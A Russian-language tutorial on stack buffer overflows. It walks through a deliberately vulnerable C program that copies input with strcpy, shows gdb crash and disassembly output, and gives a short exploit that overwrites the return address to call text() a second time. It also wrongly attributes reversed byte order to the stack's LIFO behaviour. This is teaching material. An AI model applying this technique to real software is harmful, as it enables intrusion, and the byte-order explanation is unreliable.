• Партнер

  • Это, так сказать, один из
    первых шагов в написании эксплоитов и шелл-кодов
    для программ подверженных переполнению стека. Я
    не буду рассказывать про все аспекты работы с
    памятью, затрону лишь основное. Итак, имеем
    уязвимую программу:

    #include "stdio.h"

    void return_input (char *s) {
    char array[12];
    strcpy(array,s);
    printf("%s\n", array);
    }

    char text () {
    printf("Example\n");
    }

    main ( int argc, char *argv[] ) {
    text();
    return_input(argv[1]);
    return 0;

    }

    В этом случае переменная array объявлена с
    установленным размером в 12 байт, но при
    копировании проверки на длину данных не
    происходит. Скомпилируем и попробуем передать
    программе больше 30 байт:

    spyder@l33t:~/c> ./bof
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Example
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Ошибка сегментирования (core dumped)

    Посмотрим на дамп памяти:

    spyder@l33t:~/c> gdb bof core
    ............................
    Core was generated by `./bof
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
    Program terminated with signal 11, Segmentation
    fault.
    #0 0x41414141 in ?? ()

    Символы 0x41 (A) переполнили стек и заполнили
    собой регистры ebp и eip. Регистр eip указывает
    на адрес возврата, область в памяти, куда должно
    перейти управление программы. Наша задача —
    подменить eip на нужное значение. Для примера
    вызовем функцию text() во второй раз. Для этого
    надо узнать ее адрес в памяти:

    spyder@l33t:~/c> gdb bof
    (gdb) disas main
    Dump of assembler code for function main:
    0x0804848d <main+0>: push %ebp
    0x0804848e <main+1>: mov %esp,%ebp
    0x08048490 <main+3>: and $0xfffffff0,%esp
    0x08048493 <main+6>: sub $0x10,%esp
    0x08048496 <main+9>: call 0x8048479 <text>
    0x0804849b <main+14>: mov 0xc(%ebp),%eax
    0x0804849e <main+17>: add $0x4,%eax
    0x080484a1 <main+20>: mov (%eax),%eax
    0x080484a3 <main+22>: mov %eax,(%esp)
    0x080484a6 <main+25>: call 0x8048454 <return_input>
    0x080484ab <main+30>: mov $0x0,%eax
    0x080484b0 <main+35>: leave
    0x080484b1 <main+36>: ret

    Видим вызов функции text

    0x08048496 <main+9>: call 0x8048479 <text>

    В моем случае адрес — 0x08048496. Теперь
    напишем небольшой эксплоит для перезаписи адреса
    возврата значением 0x08048496. Для этого
    потребуется отправить программе 12 байт
    мусорного кода, которые заполнят стек, еще 4
    байта, которые заполнят регистр ebp, и, наконец,
    наши 4 байты, которые попадут в регистр eip. Так
    как компилятор gcc использует определенную
    оптимизацию, нам нужно передать еще 6 байт
    мусорного кода.

    В итоге сплоит выглядит так:

    main () {
    char stuff[]=
    "AAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
    execlp("./bof","./bof",&stuff,NULL);
    }

    Стек работает с методом доступа к элементам
    LIFO (Last In - First Out, «последним пришел -
    первым вышел»), и поэтому мы указываем байты в
    обратном порядке. Пробуем запустить наш
    эксплоит:

    spyder@l33t:~/c> ./eip
    Example
    AAAAAAAAAAAAAAAAAAAAAAAA??
    Example

    Как ты можешь видеть, функция text()
    выполнилась второй раз, что говорит о том, что
    мы удачно изменили адрес возврата.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии